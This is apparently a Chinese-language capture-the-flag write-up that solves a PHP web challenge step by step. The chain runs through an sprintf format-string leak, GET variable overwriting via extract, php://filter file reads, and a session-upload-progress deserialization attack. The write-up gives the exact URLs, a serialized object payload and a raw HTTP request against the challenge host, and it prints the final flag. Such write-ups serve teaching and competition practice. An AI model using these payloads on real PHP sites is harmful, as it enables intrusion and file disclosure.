题目:
解题:
<?php error_reporting(0); highlight_file(__FILE__); include('secret_key.php'); if (!empty($_GET["name"])) { $arr = array($_GET["name"], $secret_key); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data, $v); } echo $data; } if (($secret_key) === $_GET['key']) { echo "<br>you get the key<br>"; $first = 'aa'; $ccc = 'amdin'; $i = 1; foreach ($_GET as $key => $value) { if ($i === 1) { $i++; $$key = $value; } else { break; } } if ($first === "u") { echo "<br>shi fu 666<br>"; $file = 'phpinfo.php'; $func = $_GET['function']; call_user_func($func, $_GET); if ($ccc === "F1ag") { echo "<br>tqltqltqltqltql<br>"; require('class.php'); include($file); } } else { echo "Can you hack me?<br>"; } }
代码审计
考点一:
sprintf 函数漏洞 可参考这篇文章 http://www.liugongrui.com/?id=18
http://120.55.43.255:13006/?name=%1s
name=%1s,%1代表引用第一个占位符的数据,s表示以字符串形式展示。得到secret_key=th3_k3y_y0u_cann0t_guess2333
考点二:
GET变量覆盖
foreach($_GET as $key => $value) { if($i===1) { $i++; $$key = $value; } else{break;} }
限制了只有第一个GET值可以覆盖,我们把first放到前面,http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333
考点三:
变量覆盖
$func = $_GET['function']; call_user_func($func,$_GET); if($ccc==="F1ag") { echo "<br>tqltqltqltqltql<br>"; require('class.php'); include($file); }
因为$ccc='amdin' ,所以我们想要让$ccc==="F1ag",需要使用变量覆盖函数extract
http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag
考点四:
文件读取
$file='phpinfo.php'; $func = $_GET['function']; call_user_func($func,$_GET); if($ccc==="F1ag") { echo "<br>tqltqltqltqltql<br>"; require('class.php'); include($file); }
我们需要覆盖$file实现任意文件读取,上面已经实现覆盖任意变量了,这个也不在话下。我们读取一下class.php,需要使用php://filter/convert.base64-encode/resource= 变成base64读取出来,在解密
解密后得到class.php源码
<?php ini_set('session.serialize_handler', 'php'); session_start(); class Monitor { public $test; function __construct() { $this->test = "index.php"; } function __destruct() { echo "<br>file:" . $this->test . "<br>"; } } class Welcome { public $obj; public $var; function __construct() { $this->var = 'success'; $this->obj = null; } function __toString() { $this->obj->execute(); return $this->var . ""; } } class Come { public $method; public $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __wakeup() { foreach ($this->args as $k => $v) { $this->args[$k] = $this->waf(trim($v)); } } function waf($str) { $str = preg_replace("/[<>*;|?\n ]/", "", $str); $str = str_replace('/../', '', $str); $str = str_replace('../', '', $str); return $str; } function get_dir($path) { print_r(scandir("/tmp" . $path)); } function execute() { if (in_array($this->method, array("get_dir"))) { call_user_func_array(array($this, $this->method), ($this->args)); } } } ?>
考点五:
php session反序列化漏洞
可以参考这篇文章http://www.liugongrui.com/?id=37,https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
通过上传文件控制session的前提条件是需要知道phpinfo的信息
代码审计之后重新构造class文件,用来生成序列化后的对象字符串
<?php error_reporting(0); ini_set('session.serialize_handler', 'php'); session_start(); class Monitor { public $test; function __construct() { $this->test = new Welcome(); } function __destruct() { echo "<br>file:" . $this->test . "<br>"; } } class Welcome { public $obj; public $var; function __construct() { $this->var = 'succ1ess'; $this->obj = new Come("get_dir", array('/../var/www/html')); } function __toString() { $this->obj->execute(); return $this->var . ""; } } class Come { public $method; public $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __wakeup() { echo 'Come __wakeup:'; foreach ($this->args as $k => $v) { $this->args[$k] = $this->waf(trim($v)); } } function waf($str) { $str = preg_replace("/[<>*;|?\n ]/", "", $str); $str = str_replace('/../', '', $str); $str = str_replace('../', '', $str); return $str; } function get_dir($path) { print_r(scandir("/tmp" . $path)); var_dump($path); } function execute() { echo 'Come execute:'; var_dump($this->method); var_dump($this->args); if (in_array($this->method, array("get_dir"))) { call_user_func_array(array($this, $this->method), ($this->args)); } } } // //echo serialize(new Come("get_dir", "/")); echo serialize(new Monitor()); //echo serialize(new Welcome()); //unserialize('O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:16:"/../var/www/html";}}s:3:"var";s:8:"1succ1ess";}}') //O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:16:"/../var/www/html";}}s:3:"var";s:8:"succ1ess";}} ?>
之后构造一个html来提交请求,用bp抓包
<!DOCTYPE html> <html> <body> <form action="http://120.55.43.255:13006/class.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
POST /class.php HTTP/1.1 Host: 120.55.43.255:13006 Content-Length: 495 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzsUYyfXzNYMDvhNN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,und;q=0.8 Cookie: PHPSESSID=h07f1rfvnasjelkoo1vba8plj612 Connection: close ------WebKitFormBoundaryzsUYyfXzNYMDvhNN Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 2333 ------WebKitFormBoundaryzsUYyfXzNYMDvhNN Content-Disposition: form-data; name="|O:7:\"Monitor\":1:{s:4:\"test\";O:7:\"Welcome\":2:{s:3:\"obj\";O:4:\"Come\":2:{s:6:\"method\";s:7:\"get_dir\";s:4:\"args\";a:1:{i:0;s:16:\"/../var/www/html\";}}s:3:\"var\";s:8:\"succ1ess\";}}"; filename="211212.png" Content-Type: image/png PNG ------WebKitFormBoundaryzsUYyfXzNYMDvhNN--
注意需要把succ1ess改为success,发送后得到了一个看似是flag的文件名
在通过刚才的文件读取漏洞读取 7his_1s_F1aG 文件,http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/convert.base64-encode/resource=7his_1s_F1aG
ZmxhZ3s0MDA0Yy1kMzcxMzNhNzdmMWZjYTdiYmQ1OGItNGIzYjZjfQo=,解密后得到
flag{4004c-d37133a77f1fca7bbd58b-4b3b6c}